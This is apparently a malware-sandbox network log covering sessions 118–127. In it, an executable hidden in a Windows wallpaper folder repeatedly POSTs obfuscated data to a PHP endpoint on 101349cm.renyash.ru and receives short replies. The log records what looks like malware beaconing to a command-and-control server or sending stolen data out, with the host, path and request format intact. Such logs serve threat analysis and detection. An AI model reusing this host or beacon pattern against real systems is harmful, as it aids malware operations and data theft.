Jan 1, 2025 15:18:33.142364025 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kf%2B7wv0b0LvcuTa9No6qBxmfIz5qBuHSC1KK3ALZ3wJFCLDWwdQSd77TwVIl%2BtHXBcX95AcO%2FTl%2BZmxgN73Q%2FHxikZxAcfqoB8tMTjeqTTzefFwXAnWCJayeWukcPtT2lFpZq4gD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323a33e3d42eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2789&min_rtt=1709&rtt_var=2802&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=141008&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50086	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:33.293601036 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue
Jan 1, 2025 15:18:33.642147064 CET	1048	OUT	Data Raw: 54 5d 51 52 5f 5a 57 59 59 5b 5a 5a 52 5b 5b 5d 55 58 5a 5d 57 5e 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]QR_ZWYY[ZZR[[]UXZ]W^[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$//X$?!14++,?Q$&$/85W1%/<(7/*9]//_ 4
Jan 1, 2025 15:18:33.766736984 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:34.039223909 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sqbkSxtSBV0c4iDqqY0IFvCZOa6MomSZ%2BBDIi6xBwuAS0h7DOAu0AgaxMD6eQPCfqn8Tm7FlxLPTORMWLtNmNFbwPfU6fRYGU6c5KBn394fUZeU9zRg7mQmKVC3D16lge%2FUjGTE%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323a8ba4c80dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6438&min_rtt=1559&rtt_var=10343&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1352&delivery_rate=35965&cwnd=150&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50093	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:34.163041115 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:34.514621019 CET	1056	OUT	Data Raw: 51 57 54 53 5a 5b 57 59 59 5b 5a 5a 52 52 5b 58 55 5a 5a 58 57 5e 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QWTSZ[WYY[ZZRR[XUZZXW^[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8?395;_)(+]<.9%))W$<("2>%?](>7_/9]//_
Jan 1, 2025 15:18:34.677692890 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:34.897336960 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9q37xX8kFbF%2FdljdwFpXxWZEfbNEfzBMtic4Zgv2oH4HS7JIrfzCrge1%2FdavPHYPMqp4zTQuRjrgAs81rhEJEM2saPCZFu8WDOtcTexSQildyqAKzgyvDp2M1Nbmbv7rqiUgmjRI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323ae6db041d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29187&min_rtt=26176&rtt_var=15839&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=29044&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50099	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:35.017832041 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:35.377343893 CET	1056	OUT	Data Raw: 51 55 54 5e 5f 5f 52 5c 59 5b 5a 5a 52 5f 5b 59 55 54 5a 56 57 51 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUT^__R\Y[ZZR_[YUTZVWQ[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A8?+^'#!!'(<?"0=W$<$!!-18<>4,9]//_ 4
Jan 1, 2025 15:18:35.653945923 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:35.991491079 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDD2lNUP%2B3sCDgUucpKmTAEAsKOK0fP%2F5jam3enkm4qzXQJX4cZcmwZiLBtH9gAumzCIYp1WnYSBmP0Pjn%2FgaFGvqbTKFJ4dyk5jhMeBnZaV5mHpjyls1pzxmdmOVSwyBJPNMLpX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323b4398d4301-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29837&min_rtt=18452&rtt_var=29691&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=13328&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0
Jan 1, 2025 15:18:35.998948097 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDD2lNUP%2B3sCDgUucpKmTAEAsKOK0fP%2F5jam3enkm4qzXQJX4cZcmwZiLBtH9gAumzCIYp1WnYSBmP0Pjn%2FgaFGvqbTKFJ4dyk5jhMeBnZaV5mHpjyls1pzxmdmOVSwyBJPNMLpX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323b4398d4301-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29837&min_rtt=18452&rtt_var=29691&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=13328&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50104	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:36.294825077 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:36.643332005 CET	1056	OUT	Data Raw: 51 52 51 53 5f 5c 57 5e 59 5b 5a 5a 52 5e 5b 5e 55 5a 5a 5d 57 5e 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRQS_\W^Y[ZZR^[^UZZ]W^[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';/$9(#1<(7<>6$1$?'T#1'<?>>+]/*9]//_ 0
Jan 1, 2025 15:18:36.756149054 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:37.027653933 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5HqP87%2FXga8ygtTMF0aChVC8iXjb7C%2BymB57L0rGtpjSw992QIdF6IcNadAsepjzrLrbAO22q1qG%2BmU8bGxz1eyULBmy1mFlIMalvZozV1xh4LTQDL8N5EQs36Mpen3MPI2hmnN0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323bb7be94315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3336&min_rtt=1690&rtt_var=3926&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=98256&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50110	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:37.450334072 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:37.795892954 CET	1056	OUT	Data Raw: 54 54 54 51 5a 5c 57 51 59 5b 5a 5a 52 5c 5b 58 55 59 5a 5f 57 5d 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTQZ\WQY[ZZR\[XUYZ_W][_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$8??X'9'"!<+83Y<X=U3:17V6"!1?\>>;9]//_
Jan 1, 2025 15:18:37.892076969 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50116	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:37.958312035 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:38.311527014 CET	1328	OUT	Data Raw: 54 54 54 55 5f 59 57 5d 59 5b 5a 5a 52 5f 5b 5a 55 59 5a 5e 57 5f 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTU_YW]Y[ZZR_[ZUYZ^W_[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/?[$:4"1(?^,?%:!W$<""2(X'\-9]//_ 4
Jan 1, 2025 15:18:38.404129982 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:38.669853926 CET	957	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZXCOW8UPdA%2FKVxwqKusZTuV03I%2BrWA1%2BbN6laka7nfSDiOf20yaZNboCcDaM78PYEYe%2BZyaAlRXkJMPbEh5nwwVFg6VwhiBEqffCqruGKME%2FxT2lxydN8LIBHjOTU1nBvZUh7aF7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323c5b9a34364-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1604&rtt_var=614&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=910224&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 11 22 3a 35 11 33 59 2f 00 2f 2c 31 13 28 2b 24 5d 29 02 29 5a 27 38 2a 56 2a 0c 3d 1b 22 29 2f 18 2b 12 26 08 26 02 3d 51 31 28 2e 5a 0d 1c 39 16 36 00 0a 0e 26 1c 22 0d 27 28 3d 14 34 5b 35 01 21 02 30 05 25 13 2d 01 26 39 3d 1c 39 3d 24 07 2f 04 32 07 3b 30 04 13 33 05 23 50 0f 1f 23 51 27 3d 3a 01 30 31 27 07 22 0a 24 1e 22 3a 21 56 20 04 38 14 27 29 36 1d 26 28 22 13 27 2f 27 1e 35 3e 29 0e 26 32 3c 0f 24 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.":53Y//,1(+$]))Z'8V=")/+&&=Q1(.Z96&"'(=4[5!0%-&9=9=$/2;03#P#Q'=:01'"$":!V 8')6&("'/'5>)&2<$/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50117	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:38.079524994 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:38.437328100 CET	1056	OUT	Data Raw: 51 52 51 57 5f 57 57 5a 59 5b 5a 5a 52 5a 5b 5c 55 55 5a 5c 57 51 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRQW_WWZY[ZZRZ[\UUZ\WQ[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A//'8X#!7^+8?Z(=6%9=W2? "!)1?](>'^,*9]//_
Jan 1, 2025 15:18:38.544297934 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:38.714294910 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nZnc86hD6U6knhQ%2BnsW3aC8bhxHRhOvGQZM0Cl2oyl21CJ0om7nIvyXRTJBd%2B5KjJ%2Bd025bubv13mMv%2Fs0BIG89H3NjB5CKxB97OLDgG80Xr6tE0f3dnzcTjW0rfsy0jowv9NsS8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323c69cb88cc3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4734&min_rtt=2056&rtt_var=6128&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=62169&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50123	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:38.846380949 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:39.202136040 CET	1056	OUT	Data Raw: 51 51 54 5f 5f 58 57 5b 59 5b 5a 5a 52 5a 5b 51 55 5a 5a 58 57 5b 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQT__XW[Y[ZZRZ[QUZZXW[[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B,/?_3+!<83?>>0*!27V"W>&/\>>8;9]//_
Jan 1, 2025 15:18:39.314817905 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:39.574733973 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UmlsXwMe1sEfctH2r3nFNCadLbngwp37W13SWhsjzQ7XoHisXnt0tfctxyP7XJb2xLDb8bgceM%2BjAeKaqRH2IHMBtHVGS6j4QdJWbSliQE4QSL586qe0m3ylGiOZCAoFjxYOz7wB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323cb6e5243e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4452&min_rtt=1892&rtt_var=5831&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=65242&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50130	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:39.708739996 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:40.061542034 CET	1056	OUT	Data Raw: 54 57 51 54 5f 56 57 5b 59 5b 5a 5a 52 5c 5b 5f 55 5a 5a 59 57 5b 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TWQT_VW[Y[ZZR\[_UZZYW[[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;?'$);"!7_(($?=V0!S&52=%??X(-:9]//_
Jan 1, 2025 15:18:40.173738003 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:40.345081091 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y67W5FtiWvL3IU%2F4TZCPsCQ46q20u5PAHoGJiUVKydai3JTIhcuuDH5%2FDAsXRfMxIs%2FN7JQnCLZ5kSbwr8rLab1NTHezVvB6U4KDQPXE41xv64habCF5rFRftY6nOCR8bRDpIGLu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323d0c8b7330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4600&min_rtt=1935&rtt_var=6056&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=62779&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50132	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:40.475059986 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:40.827800035 CET	1044	OUT	Data Raw: 54 5d 54 5f 5f 58 57 5b 59 5b 5a 5a 52 5b 5b 59 55 58 5a 5b 57 5a 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]T__XW[Y[ZZR[[YUXZ[WZ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E,/3Z0:4Y#!(^/]?=&%:&$<86"X&#?8/:9]//_ 4
Jan 1, 2025 15:18:40.946894884 CET	25	IN	HTTP/1.1 100 Continue
